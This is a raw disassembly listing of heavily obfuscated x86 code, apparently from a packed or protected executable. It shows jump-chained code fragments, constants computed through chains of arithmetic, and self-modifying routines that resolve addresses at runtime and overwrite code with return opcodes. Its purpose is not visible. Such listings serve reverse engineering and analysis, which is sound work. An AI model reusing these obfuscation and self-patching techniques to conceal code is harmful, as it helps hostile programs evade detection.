		pop	edx
		rol	edx, 15h
		or	edx, 959A6F5Ch
		add	edx, 62D9A626h
		xchg	edx, [esp]
		jmp	sub_746E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_74CE96:				; CODE XREF: sub_752D11-D730j
		xor	edx, edx
		push	eax
		mov	eax, edx
		xchg	eax, [esp+4+var_4]
		jmp	loc_756AB5
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA92


loc_74CEA3:				; CODE XREF: sub_74BA92:loc_747CFAj
		jl	loc_7469E5
		sbb	esi, 54E73C2Dh
		sbb	eax, esi
		jmp	loc_7469E5
; END OF FUNCTION CHUNK	FOR sub_74BA92
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C1D8


loc_74CEB6:				; CODE XREF: sub_74C1D8:loc_747127j
		xchg	esi, [esp-8+arg_4]
		jmp	sub_750243
; END OF FUNCTION CHUNK	FOR sub_74C1D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_74CEBE:				; CODE XREF: sub_74F73B:loc_752EE3j
		call	sub_755789


loc_74CEC3:				; CODE XREF: _0z4jwtox:007463FBj
		jmp	loc_756393
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75532F


loc_74CEC8:				; CODE XREF: sub_75532F:loc_745AF5j
		jmp	loc_7562E5
; END OF FUNCTION CHUNK	FOR sub_75532F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756826


loc_74CECD:				; CODE XREF: sub_756826:loc_753E40j
		jz	loc_7540A9
		jmp	loc_75700F
; END OF FUNCTION CHUNK	FOR sub_756826
; ---------------------------------------------------------------------------


loc_74CED8:				; CODE XREF: _0z4jwtox:0074E51Aj
		push	edx
		mov	edx, ecx
		xchg	edx, [esp]
		mov	ecx, edx
		xchg	ecx, [esp]
		push	edi
		push	38482DFEh
		pop	edi
		jmp	loc_745780

; =============== S U B	R O U T	I N E =======================================



sub_74CEEF	proc near		; CODE XREF: _0z4jwtox:0074F23Fp
					; _0z4jwtox:0074FB4Fj

; FUNCTION CHUNK AT 00754886 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_746E93
		mov	ds:dword_41F148, eax
		lea	eax, nullsub_279
		mov	byte ptr [eax],	0C3h
		jmp	loc_754886
sub_74CEEF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74CF0C	proc near		; CODE XREF: sub_41E42Ej
					; sub_74CF0C:loc_755F2Dj
					; DATA XREF: ...

; FUNCTION CHUNK AT 00755F2D SIZE 00000006 BYTES

		call	sub_755F42
		jmp	loc_755F2D
sub_74CF0C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_74CF16:				; CODE XREF: sub_74A7D8+11j
		jle	loc_7560A8
		pushf
		jb	loc_751FEA
		pop	edx
		jmp	loc_74FCF3
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------


loc_74CF29:				; CODE XREF: _0z4jwtox:007530EBj
		jle	loc_74C2E9
		xor	ebp, 0C04D5151h

; =============== S U B	R O U T	I N E =======================================



sub_74CF35	proc near		; CODE XREF: _0z4jwtox:0075624Ap

; FUNCTION CHUNK AT 00746183 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00747321 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00747CD0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00747F5D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748963 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00748C22 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074AAAF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AEF7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750AB3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00752052 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00753CB8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754B54 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00755324 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755DB7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 007576BD SIZE 0000001F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	al, [eax]
		jmp	loc_752052
sub_74CF35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74CF40:				; CODE XREF: _0z4jwtox:loc_75230Ej
		jz	loc_755454
		jmp	loc_74A817
; ---------------------------------------------------------------------------
		db 0Fh
		dd 29A889h, 378A0F00h, 0C1000073h
		db 0EAh, 7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E95A


loc_74CF5A:				; CODE XREF: sub_74E95A+16j
		add	ebx, 0A2E40E59h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_752ADF
; END OF FUNCTION CHUNK	FOR sub_74E95A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A0BD


loc_74CF68:				; CODE XREF: sub_74A0BD+Cj
		pop	ecx
		lea	eax, loc_753D8D
		mov	byte ptr [eax],	0C3h
		jmp	loc_74E841
; END OF FUNCTION CHUNK	FOR sub_74A0BD

; =============== S U B	R O U T	I N E =======================================



sub_74CF77	proc near		; CODE XREF: sub_41DDE5+173p
					; sub_74CF77+5j
					; DATA XREF: ...
		call	sub_74CF82
		jmp	ds:off_41F004
sub_74CF77	endp


; =============== S U B	R O U T	I N E =======================================



sub_74CF82	proc near		; CODE XREF: sub_749FD7:loc_74A0D9j
					; sub_74CF77p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00749385 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00749596 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074BF14 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0074EA71 SIZE 0000000E BYTES

		js	loc_74EA71
		pop	edx
		mov	eax, [esp+0]
		jmp	sub_751307
sub_74CF82	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74CF91	proc near		; DATA XREF: _0z4jwtox:0074BC62o
		push	ecx
		call	sub_74C9CF
sub_74CF91	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_755148


loc_74CF97:				; CODE XREF: sub_755148+992j
		jmp	sub_753D0E
; END OF FUNCTION CHUNK	FOR sub_755148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74CF9C:				; CODE XREF: sub_747C22+D8CBj
		jmp	loc_748096
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		mov	ds:off_41F08C, eax
		lea	eax, loc_74EB33
		push	offset sub_74763A
		jmp	locret_74D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74CFB7:				; CODE XREF: sub_747C22:loc_74F088j
		sub	eax, 6A7821EAh
		rol	eax, 1Ch
		add	eax, 0EB8C2ECBh
		add	eax, ebp
		add	eax, 4414184h
		mov	eax, [eax]
		jmp	loc_74F683
; END OF FUNCTION CHUNK	FOR sub_747C22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_74CFD6:				; CODE XREF: sub_748FA4:loc_750C41j
		mov	eax, 24DE0EA8h
		push	edx
		push	0E5CD6097h
		xchg	edi, [esp+4+var_4]
		mov	edx, edi
		pop	edi
		or	edx, 33557F2Bh
		jmp	loc_75542F
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756974


loc_74CFF2:				; CODE XREF: sub_756974+Aj
		push	edx
		call	sub_7490F6
		mov	eax, 147A4491h
		call	sub_74E11E
; END OF FUNCTION CHUNK	FOR sub_756974
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74D002:				; CODE XREF: sub_74D1F3+7206j
		jmp	loc_7565FF
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------


loc_74D007:				; CODE XREF: _0z4jwtox:00745B4Fj
		jmp	loc_756241
; ---------------------------------------------------------------------------

locret_74D00C:				; CODE XREF: _0z4jwtox:00750591j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74D00D:				; CODE XREF: sub_747AEC:loc_75767Dj
		jmp	nullsub_253
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------


loc_74D012:				; CODE XREF: _0z4jwtox:0075328Cj
		jmp	sub_75100C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74D017:				; CODE XREF: sub_74FE55-E4Fj
		jmp	nullsub_127
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------


loc_74D01C:				; CODE XREF: _0z4jwtox:00746AAFj
		jnz	loc_753328
		jnp	loc_75486E
		jmp	loc_753327

; =============== S U B	R O U T	I N E =======================================



sub_74D02D	proc near		; CODE XREF: sub_749010-326Cj
					; sub_74F615-318Bp
		xchg	eax, [esp+0]
		pop	eax
		xor	eax, 893DFFFFh
		call	sub_746E93
		mov	ds:off_41F140, eax
		lea	eax, sub_749115
		mov	byte ptr [eax],	0C3h
		jmp	sub_749115
sub_74D02D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74D050:				; CODE XREF: _0z4jwtox:00755E18j
		jnz	loc_74BF78
		xchg	ebp, [ebx]
		and	ebx, 0DCBFDA7Bh
		rol	edx, 1
		jmp	loc_74BF77
; ---------------------------------------------------------------------------
		shr	edx, 12h
		jmp	sub_74CAC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_74D06D:				; CODE XREF: sub_74BFE0:loc_74EFDAj
					; sub_74BFE0+8D4Cj
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_750C46
		jmp	loc_75220D
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_74D07E:				; CODE XREF: sub_755C10-6C56j
		pop	edx
		add	edx, 784A0C4Fh
		and	edx, 1B1F326Eh
		push	offset sub_7559D8
		jmp	nullsub_196
; END OF FUNCTION CHUNK	FOR sub_755C10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_74D095:				; CODE XREF: sub_74D23E-629Cj
		and	eax, edx
		mov	eax, [ebp+0]


loc_74D09A:				; CODE XREF: sub_74D23E:loc_7540EBj
		mov	eax, [esp+0]
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp+0]
		push	ebx
		jmp	loc_750680
; END OF FUNCTION CHUNK	FOR sub_74D23E

; =============== S U B	R O U T	I N E =======================================



sub_74D0A9	proc near		; DATA XREF: sub_749B76+D6B9o

; FUNCTION CHUNK AT 0074C3AE SIZE 00000005 BYTES

		cdq
		jmp	loc_74C3AE
sub_74D0A9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_74D0AF:				; CODE XREF: sub_749B76:loc_74A596j
		mov	eax, [ebp-4]
		call	sub_746B7C


loc_74D0B7:				; CODE XREF: sub_747AEC+1DE5j
		jmp	nullsub_57
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74D0BC:				; CODE XREF: sub_747736-E12j
		jmp	loc_74BADF
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		mov	edx, ebp
		sbb	edx, 0AB200E43h
		jmp	sub_74E3F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_74D0CE:				; CODE XREF: sub_752DF2:loc_745458j
		pop	eax
		or	eax, 0ABC1DDCh
		rol	eax, 0Ah
		sub	eax, 23CE9BC6h
		add	eax, 0C2B17AD6h
		jmp	loc_745280
; END OF FUNCTION CHUNK	FOR sub_752DF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_74D0E9:				; CODE XREF: sub_75043C-8F1Fj
		or	ecx, ecx
		jz	loc_748342
		mov	edx, [ebx+ecx]


loc_74D0F4:				; CODE XREF: sub_75043C+10BEj
		push	offset loc_748332
		jmp	nullsub_148
; END OF FUNCTION CHUNK	FOR sub_75043C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_74D0FE:				; CODE XREF: sub_749306:loc_7458ABj
		mov	al, [eax]
		jb	loc_74B259
		sub	al, 99h
		push	8198D6B0h
		jmp	loc_75121A
; END OF FUNCTION CHUNK	FOR sub_749306
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E3F7


loc_74D112:				; CODE XREF: sub_74E3F7:loc_7503B1j
					; sub_74E3F7+4D91j
		push	5E7D3154h
		xchg	ebp, [esp+4+var_4]
		mov	eax, ebp
		pop	ebp
		or	eax, 0FE0C6CE3h
		jmp	loc_74FD05
; END OF FUNCTION CHUNK	FOR sub_74E3F7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnz	loc_746301
		jmp	sub_74D4D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754CBF


loc_74D134:				; CODE XREF: sub_754CBF+20F2j
		call	sub_749980
; END OF FUNCTION CHUNK	FOR sub_754CBF
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_74D139:				; CODE XREF: sub_7544F1:loc_752138j
		xchg	ebx, [esp+4+var_4]
		jmp	nullsub_191
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_74D141:				; CODE XREF: sub_747290:loc_75741Dj
		jns	loc_750B82
		mov	eax, [esp+0]
		push	edx
		call	sub_75740D
		jmp	loc_74F4F8
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------


loc_74D155:				; DATA XREF: sub_74F266:loc_7487E8o
		call	sub_746E93
		push	edi
		push	24B074FDh
		pop	edi
		jmp	loc_746AC6
; ---------------------------------------------------------------------------


loc_74D166:				; DATA XREF: sub_74BD6F+7EDCo
		pop	ebx
		pushf
		push	7148CAEh
		pop	eax
		sub	eax, 30A0B1C4h


loc_74D174:				; CODE XREF: _0z4jwtox:00755C18j
		xor	eax, 35A70EA4h
		add	eax, ebp
		jmp	loc_74AE31
; ---------------------------------------------------------------------------


loc_74D181:				; DATA XREF: sub_747C22:loc_746260o
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_74D185:				; CODE XREF: sub_74C670+ACDFj
		jmp	loc_74C703
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752520


loc_74D18A:				; CODE XREF: sub_752520+6j
		jmp	loc_75496F
; END OF FUNCTION CHUNK	FOR sub_752520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74D18F:				; CODE XREF: sub_747C22+EF33j
		mov	eax, [ebp-4]
		mov	eax, [eax]
		add	[ebp-28h], eax
		push	6DA11A7Bh
		pop	eax
		jmp	loc_74F088
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		rol	ebp, 1Ah
		jmp	loc_7571FD
; ---------------------------------------------------------------------------


loc_74D1AA:				; DATA XREF: sub_74946E+C68Fo
		mov	[edx], eax
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74D1AD:				; CODE XREF: sub_747AEC+4B2Cj
					; sub_747AEC+58B5j
		jz	loc_74DB8D
		push	offset aShVnbBJBis ; "\nShVb[æb"
		jmp	nullsub_58
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_74D1BD	proc near		; DATA XREF: _0z4jwtox:00754CB5o

; FUNCTION CHUNK AT 00748735 SIZE 0000000E BYTES

		call	sub_756691
		mov	eax, 0CC5549F7h
		call	sub_746E93
		mov	ds:dword_41F078, eax
		jmp	loc_748735
sub_74D1BD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_74D1D7:				; CODE XREF: sub_747290:loc_74A08Fj
		jl	loc_745CAA
		xor	esi, 0D4B9BC63h
		ror	ebx, 1Bh
		jmp	loc_74C6C7
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_74D1EB:				; CODE XREF: sub_74673E+781Bj
		xchg	edi, [esp-0Ch+arg_8]
		jmp	sub_746CF0
; END OF FUNCTION CHUNK	FOR sub_74673E

; =============== S U B	R O U T	I N E =======================================



sub_74D1F3	proc near		; CODE XREF: _0z4jwtox:0074558Cj
					; sub_748B44:loc_74E080p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00746038 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00746701 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074671F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00747286 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748AE7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00748DB2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AF85 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074B253 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074BE1F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074C654 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074C7F3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074D002 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EE97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F71F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FAF3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0074FF2B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00750C1C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0075290C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075322A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 007534F4 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 007543F2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0075608A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00756775 SIZE 00000005 BYTES

		xchg	ecx, [esp+4+var_4]
		pop	ecx
		add	eax, ebp
		add	eax, 91224CB3h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_748AE7
		jmp	loc_75290C
sub_74D1F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_74D20F:				; CODE XREF: _0z4jwtox:0075560Aj
		retn
; ---------------------------------------------------------------------------


loc_74D210:				; CODE XREF: _0z4jwtox:loc_755407j
		lea	eax, nullsub_252
		mov	byte ptr [eax],	0C3h
		jmp	loc_74B549

; =============== S U B	R O U T	I N E =======================================



sub_74D21E	proc near		; CODE XREF: sub_40CC09+44DCp
					; sub_4133F9+2Bp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00745839 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007512A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007568B8 SIZE 00000020 BYTES

		push	esi
		push	43936026h
		pop	esi
		and	esi, 9681486Bh
		jmp	loc_7512A0
sub_74D21E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_74D230:				; CODE XREF: sub_746640:loc_753D76j
		lea	eax, sub_755148
		mov	byte ptr [eax],	0C3h
		jmp	loc_754881
; END OF FUNCTION CHUNK	FOR sub_746640

; =============== S U B	R O U T	I N E =======================================



sub_74D23E	proc near		; CODE XREF: sub_404ECE+282p
					; sub_406059:loc_406195p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00745F0A SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00746157 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 007465A1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00746F9D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00747D88 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007480A1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00748BFB SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0074A0DE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0074A242 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074AB20 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074B9F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074BB98 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074C1A9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074D095 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074DDEE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0074EBA2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074FF5D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00750B2B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00750C5C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075340B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753533 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075409B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 007540EB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755C2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755E72 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0075646B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00756866 SIZE 00000013 BYTES

		push	edi
		push	57EE8E6Dh
		pop	edi
		jmp	loc_746157
sub_74D23E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B21E


loc_74D24A:				; CODE XREF: sub_74B21E:loc_749CDBj
		mov	ds:off_41F108, eax
		lea	eax, sub_74AC6D
		mov	byte ptr [eax],	0C3h
		jmp	sub_74AC6D
; END OF FUNCTION CHUNK	FOR sub_74B21E
; ---------------------------------------------------------------------------
		call	nullsub_13
		jmp	ds:dword_41F10C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_74D269:				; CODE XREF: sub_7561AB-10BF9j
		jmp	loc_753CD0
; END OF FUNCTION CHUNK	FOR sub_7561AB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
		db 84h
		dd 0FFFFB263h, 8B240487h, 0B429E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CD80


loc_74D27E:				; CODE XREF: sub_74CD80:loc_74C0F7j
		rol	edi, 19h
		test	edi, 40000h
		jmp	loc_752FFE
; END OF FUNCTION CHUNK	FOR sub_74CD80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C7A2


loc_74D28C:				; CODE XREF: sub_74C7A2:loc_74EAC7j
		push	edx
		push	87696BDFh
		pop	edx
		xor	edx, 0B1ADB7C8h
		add	edx, 0B6F3CFD6h
		and	edx, 40B849B8h
		xor	edx, 8320828h
		jmp	loc_747E30
; END OF FUNCTION CHUNK	FOR sub_74C7A2
; ---------------------------------------------------------------------------


loc_74D2B0:				; DATA XREF: sub_752D11-BC7Eo
		pop	esi
		lea	eax, sub_7574E3
		mov	byte ptr [eax],	0C3h
		jmp	sub_7574E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7574E3


loc_74D2BF:				; CODE XREF: sub_7574E3j
		xchg	eax, [esp+0]
		mov	edx, eax


loc_74D2C4:				; CODE XREF: _0z4jwtox:00754920j
		pop	eax
		mov	eax, [esp+0]
		call	sub_74DFF3
; END OF FUNCTION CHUNK	FOR sub_7574E3
; START	OF FUNCTION CHUNK FOR sub_747A94


loc_74D2CD:				; CODE XREF: sub_747A94+74D3j
		jmp	loc_7488BF
; END OF FUNCTION CHUNK	FOR sub_747A94
; ---------------------------------------------------------------------------
		jnz	loc_74C6B9
		popf
		jmp	sub_750B49
; ---------------------------------------------------------------------------


loc_74D2DE:				; DATA XREF: _0z4jwtox:0075331Do
		push	edx
		push	905548FAh


loc_74D2E4:				; CODE XREF: _0z4jwtox:0074EDBAj
		xchg	ecx, [esp]
		mov	edx, ecx
		pop	ecx
		rol	edx, 12h
		jb	loc_7481F7
		push	0FF49A5E9h
		pop	eax
		and	eax, 2F0D8248h
		xor	eax, 2C7D5AD6h
		push	eax
		push	8EDCF0C7h
		pop	eax
		rol	eax, 15h
		jmp	loc_752038
; ---------------------------------------------------------------------------
		mov	ds:dword_41F0DC, eax
		lea	eax, nullsub_294
		push	offset sub_74541D
		jmp	locret_748DAC
; ---------------------------------------------------------------------------
		mov	eax, ebx
		jmp	loc_74C9CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_74D331:				; CODE XREF: sub_74AAC1-4C63j
		jnz	loc_74AA39


loc_74D337:				; CODE XREF: sub_747C39+1821j
		jmp	loc_74E7A0
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
		or	edx, ebx
		jmp	loc_74F8A8

; =============== S U B	R O U T	I N E =======================================



sub_74D343	proc near		; CODE XREF: _0z4jwtox:00746458p
					; _0z4jwtox:0074992Aj
		xchg	edx, [esp+0]
		pop	edx
		pop	esi
		lea	eax, sub_74C527
		mov	byte ptr [eax],	0C3h
		jmp	sub_74C527
sub_74D343	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74D356:				; CODE XREF: sub_74FE55+3A70j
		pop	eax
		add	eax, 179A6B96h
		rol	eax, 8
		cmp	eax, 0DD5A4575h
		jmp	loc_748679
; END OF FUNCTION CHUNK	FOR sub_74FE55
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74D36C:				; CODE XREF: sub_7557E7+19j
		jmp	loc_7573D4
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753DFA


loc_74D371:				; CODE XREF: sub_753DFA+14j
		jmp	nullsub_273
; END OF FUNCTION CHUNK	FOR sub_753DFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C45E


loc_74D376:				; CODE XREF: sub_74C45E+1B3Fj
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_74C45E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74DE8D


loc_74D37B:				; CODE XREF: sub_74DE8D+Ej
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_74DE8D
; ---------------------------------------------------------------------------


loc_74D380:				; CODE XREF: _0z4jwtox:0074977Aj
		jmp	locret_755758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74D385:				; CODE XREF: sub_747AEC:loc_751624j
		add	eax, 1BA03C62h
		xor	eax, 0D577CA4Ch
		sub	eax, 8648BFD9h
		add	eax, 7D31EE5Ah
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_74D1AD
		jmp	loc_7483C9
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
		push	0C245ADDh
		sub	ebx, edx
		jmp	sub_74CCB1
; ---------------------------------------------------------------------------


loc_74D3B8:				; CODE XREF: _0z4jwtox:00745B7Dj
		push	0A1646A32h
; START	OF FUNCTION CHUNK FOR sub_74BFF8


loc_74D3BD:				; CODE XREF: sub_74BFF8:loc_745B6Ej
		add	eax, 0A1B2DF3Fh
		xor	eax, 77B56324h
		call	sub_74DE8D
; END OF FUNCTION CHUNK	FOR sub_74BFF8
; START	OF FUNCTION CHUNK FOR sub_753176


loc_74D3CE:				; CODE XREF: sub_753176-9E42j
		jmp	loc_74BAC0
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_74D3D3:				; CODE XREF: sub_74AE67+468Cj
		jnp	loc_754B88
		cmp	esi, 2B1EF3Dh
		jmp	loc_75549D
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
		mov	eax, 22143682h
		call	sub_746E93
		mov	ds:off_41F098, eax
		lea	eax, loc_75344B
		mov	byte ptr [eax],	0C3h
		jmp	loc_74A508
; ---------------------------------------------------------------------------
		and	ebx, 0BFC77298h
		jmp	sub_7570E0
; ---------------------------------------------------------------------------

locret_74D40D:				; CODE XREF: _0z4jwtox:00747574j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7572F3


loc_74D40E:				; CODE XREF: sub_7572F3-12F4j
